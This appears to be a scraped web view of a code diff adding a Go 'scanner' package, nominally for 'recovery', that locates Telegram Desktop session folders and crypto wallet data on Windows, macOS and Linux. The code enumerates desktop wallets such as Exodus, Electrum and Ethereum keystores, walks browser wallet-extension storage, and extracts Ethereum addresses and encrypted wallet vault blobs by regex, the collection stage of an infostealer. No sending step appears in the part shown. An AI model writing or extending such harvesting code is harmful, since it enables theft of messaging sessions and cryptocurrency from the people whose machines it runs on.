||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func getTelegramPaths() []telegramPathConfig {
|
||||
if runtime.GOOS == "darwin" {
|
||||
return []telegramPathConfig{
|
||||
{"Telegram Desktop", "Telegram Desktop/tdata", "appdata"},
|
||||
{"Kotatogram", "Kotatogram Desktop/tdata", "appdata"},
|
||||
{"64Gram", "64Gram Desktop/tdata", "appdata"},
|
||||
}
|
||||
}
|
||||
// Linux
|
||||
return []telegramPathConfig{
|
||||
{"Telegram Desktop", "TelegramDesktop/tdata", "home_data"},
|
||||
{"Telegram Desktop (flatpak)", ".var/app/org.telegram.desktop/data/TelegramDesktop/tdata", "home"},
|
||||
{"Telegram Desktop (snap)", "snap/telegram-desktop/current/.local/share/TelegramDesktop/tdata", "home"},
|
||||
{"Kotatogram", "KotatogramDesktop/tdata", "home_data"},
|
||||
{"64Gram", "64Gram Desktop/tdata", "home_data"},
|
||||
}
|
||||
}
|
||||
|
||||
func resolveTelegramBase(base string) string {
|
||||
home, _ := os.UserHomeDir()
|
||||
switch base {
|
||||
case "home":
|
||||
return home
|
||||
case "home_data":
|
||||
xdg := os.Getenv("XDG_DATA_HOME")
|
||||
if xdg != "" {
|
||||
return xdg
|
||||
}
|
||||
return filepath.Join(home, ".local", "share")
|
||||
case "appdata":
|
||||
if runtime.GOOS == "darwin" {
|
||||
return filepath.Join(home, "Library", "Application Support")
|
||||
}
|
||||
return filepath.Join(home, ".config")
|
||||
case "localappdata":
|
||||
return filepath.Join(home, ".local", "share")
|
||||
case "userprofile":
|
||||
return home
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
//go:build windows
|
||||
|
||||
package scanner
|
||||
|
||||
import "os"
|
||||
|
||||
func getTelegramPaths() []telegramPathConfig {
|
||||
return []telegramPathConfig{
|
||||
{"Telegram Desktop", `Telegram Desktop\tdata`, "appdata"},
|
||||
{"Telegram Desktop (alt)", `Telegram Desktop\tdata`, "userprofile"},
|
||||
{"Kotatogram", `Kotatogram Desktop\tdata`, "appdata"},
|
||||
{"64Gram", `64Gram Desktop\tdata`, "appdata"},
|
||||
{"Unigram", `Unigram\$local\tdata`, "localappdata"},
|
||||
}
|
||||
}
|
||||
|
||||
func resolveTelegramBase(base string) string {
|
||||
switch base {
|
||||
case "appdata":
|
||||
return os.Getenv("APPDATA")
|
||||
case "localappdata":
|
||||
return os.Getenv("LOCALAPPDATA")
|
||||
case "userprofile":
|
||||
return os.Getenv("USERPROFILE")
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,179 @@
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
type walletConfig struct {
|
||||
Name string
|
||||
SubPath string
|
||||
Base string // "appdata", "localappdata", "userprofile", "home"
|
||||
}
|
||||
|
||||
var ethAddrRe = regexp.MustCompile(`0x[0-9a-fA-F]{40}`)
|
||||
var vaultRe = regexp.MustCompile(`\{"data":"[A-Za-z0-9+/=]+","iv":"[A-Za-z0-9+/=]+","salt":"[A-Za-z0-9+/=]+(?:","lib":"[^"]*")?\}`)
|
||||
|
||||
const maxFileReadSize = 10 * 1024 * 1024 // 10MB per file
|
||||
const maxAddresses = 50
|
||||
|
||||
func ScanWallets() []types.WalletResult {
|
||||
var results []types.WalletResult
|
||||
results = append(results, scanDesktopWallets()...)
|
||||
results = append(results, scanBrowserWalletData()...)
|
||||
return results
|
||||
}
|
||||
|
||||
func scanDesktopWallets() []types.WalletResult {
|
||||
var results []types.WalletResult
|
||||
for _, w := range getDesktopWalletPaths() {
|
||||
base := resolveWalletBase(w.Base)
|
||||
if base == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
dir := filepath.Join(base, w.SubPath)
|
||||
info, err := os.Stat(dir)
|
||||
if err != nil || !info.IsDir() {
|
||||
continue
|
||||
}
|
||||
|
||||
files, totalSize := countDirContents(dir)
|
||||
if files == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
wr := types.WalletResult{
|
||||
Name: w.Name,
|
||||
Type: "desktop",
|
||||
Path: dir,
|
||||
Files: files,
|
||||
Size: totalSize,
|
||||
}
|
||||
wr.Addresses = extractAddressesFromDir(dir)
|
||||
results = append(results, wr)
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func scanBrowserWalletData() []types.WalletResult {
|
||||
var results []types.WalletResult
|
||||
for _, cfg := range browser.Browsers {
|
||||
if cfg.IsFirefox {
|
||||
continue
|
||||
}
|
||||
profiles := browser.FindProfileDirs(cfg)
|
||||
for _, profile := range profiles {
|
||||
lesDir := filepath.Join(profile.Path, "Local Extension Settings")
|
||||
for extID, walletName := range knownWalletExtensions {
|
||||
extDataDir := filepath.Join(lesDir, extID)
|
||||
info, err := os.Stat(extDataDir)
|
||||
if err != nil || !info.IsDir() {
|
||||
continue
|
||||
}
|
||||
files, totalSize := countDirContents(extDataDir)
|
||||
if files == 0 {
|
||||
continue
|
||||
}
|
||||
wr := types.WalletResult{
|
||||
Name: fmt.Sprintf("%s (%s/%s)", walletName, cfg.Name, profile.Name),
|
||||
Type: "extension",
|
||||
Path: extDataDir,
|
||||
Files: files,
|
||||
Size: totalSize,
|
||||
}
|
||||
wr.Addresses = extractAddressesFromDir(extDataDir)
|
||||
wr.VaultData = extractVaultData(extDataDir)
|
||||
results = append(results, wr)
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func extractAddressesFromDir(dir string) []string {
|
||||
seen := make(map[string]bool)
|
||||
var addrs []string
|
||||
|
||||
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() || info.Size() == 0 || info.Size() > maxFileReadSize {
|
||||
return nil
|
||||
}
|
||||
if len(addrs) >= maxAddresses {
|
||||
return filepath.SkipAll
|
||||
}
|
||||
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
scanner := bufio.NewScanner(f)
|
||||
scanner.Buffer(make([]byte, 256*1024), 256*1024)
|
||||
for scanner.Scan() {
|
||||
matches := ethAddrRe.FindAllString(scanner.Text(), -1)
|
||||
for _, m := range matches {
|
||||
addr := strings.ToLower(m)
|
||||
if !seen[addr] {
|
||||
seen[addr] = true
|
||||
addrs = append(addrs, m)
|
||||
if len(addrs) >= maxAddresses {
|
||||
return filepath.SkipAll
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
return addrs
|
||||
}
|
||||
|
||||
func extractVaultData(dir string) string {
|
||||
var vault string
|
||||
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() || vault != "" {
|
||||
return nil
|
||||
}
|
||||
ext := strings.ToLower(filepath.Ext(path))
|
||||
if ext != ".ldb" && ext != ".log" {
|
||||
return nil
|
||||
}
|
||||
if info.Size() == 0 || info.Size() > maxFileReadSize {
|
||||
return nil
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
match := vaultRe.Find(data)
|
||||
if match != nil {
|
||||
vault = string(match)
|
||||
return filepath.SkipAll
|
||||
}
|
||||
return nil
|
||||
})
|
||||
return vault
|
||||
}
|
||||
|
||||
func countDirContents(dir string) (int, int64) {
|
||||
var count int
|
||||
var totalSize int64
|
||||
filepath.Walk(dir, func(_ string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
count++
|
||||
totalSize += info.Size()
|
||||
return nil
|
||||
})
|
||||
return count, totalSize
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
//go:build !windows
|
||||
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func getDesktopWalletPaths() []walletConfig {
|
||||
if runtime.GOOS == "darwin" {
|
||||
return []walletConfig{
|
||||
{"Atomic", "atomic/Local Storage/leveldb", "appdata"},
|
||||
{"Exodus", "Exodus/exodus.wallet", "appdata"},
|
||||
{"Electrum", "Electrum/wallets", "home_dot"},
|
||||
{"Ethereum", "Ethereum/keystore", "home_dot"},
|
||||
{"Coinomi", "Coinomi/wallets", "appdata"},
|
||||
}
|
||||
}
|
||||
// Linux
|
||||
return []walletConfig{
|
||||
{"Atomic", "atomic/Local Storage/leveldb", "config"},
|
||||
{"Exodus", "Exodus/exodus.wallet", "config"},
|
||||
{"Electrum", ".electrum/wallets", "home"},
|
||||
{"Electrum-LTC", ".electrum-ltc/wallets", "home"},
|
||||
{"Ethereum", ".ethereum/keystore", "home"},
|
||||
{"Monero", "Monero/wallets", "home"},
|
||||
{"Armory", ".armory", "home"},
|
||||
{"Bytecoin", ".bytecoin", "home"},
|
||||
{"Coinomi", ".coinomi/Coinomi/wallets", "home"},
|
||||
}
|
||||
}
|
||||
|
||||
func resolveWalletBase(base string) string {
|
||||
home, _ := os.UserHomeDir()
|
||||
switch base {
|
||||
case "home", "userprofile":
|
||||
return home
|
||||
case "home_dot":
|
||||
return filepath.Join(home, ".")
|
||||
case "appdata":
|
||||
if runtime.GOOS == "darwin" {
|
||||
return filepath.Join(home, "Library", "Application Support")
|
||||
}
|
||||
return filepath.Join(home, ".config")
|
||||
case "config":
|
||||
xdg := os.Getenv("XDG_CONFIG_HOME")
|
||||
if xdg != "" {
|
||||
return xdg
|
||||
}
|
||||
return filepath.Join(home, ".config")
|
||||
case "localappdata":
|
||||
if runtime.GOOS == "darwin" {
|
||||
return filepath.Join(home, "Library", "Application Support")
|
||||
}
|
||||
return filepath.Join(home, ".local", "share")
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
//go:build windows
|
||||
|
||||
package scanner
|
||||
|
||||
import "os"
|
||||
|
||||
func getDesktopWalletPaths() []walletConfig {
|
||||
return []walletConfig{
|
||||
{"Atomic", `atomic\Local Storage\leveldb`, "appdata"},
|
||||
{"Exodus", `Exodus\exodus.wallet`, "appdata"},
|
||||
{"Electrum", `Electrum\wallets`, "appdata"},
|
||||
{"Electrum-LTC", `Electrum-LTC\wallets`, "appdata"},
|
||||
{"Zcash", `Zcash`, "appdata"},
|
||||
{"Armory", `Armory`, "appdata"},
|
||||
{"Bytecoin", `bytecoin`, "appdata"},
|
||||
{"Jaxx", `com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb`, "appdata"},
|
||||
{"Ethereum", `Ethereum\keystore`, "appdata"},
|
||||
{"Guarda", `Guarda\Local Storage\leveldb`, "appdata"},
|
||||
{"Coinomi", `Coinomi\Coinomi\wallets`, "appdata"},
|
||||
{"Monero", `Documents\Monero\wallets`, "userprofile"},
|
||||
}
|
||||
}
|
||||
|
||||
func resolveWalletBase(base string) string {
|
||||
switch base {
|
||||
case "appdata":
|
||||
return os.Getenv("APPDATA")
|
||||
case "localappdata":
|
||||
return os.Getenv("LOCALAPPDATA")
|
||||
case "userprofile":
|
||||
return os.Getenv("USERPROFILE")
|
||||
case "home":
|
||||
home, _ := os.UserHomeDir()
|
||||
return home
|
||||
}
|
||||
return ""
|
||||
}
|
||||
Reference in New Issue
Block a user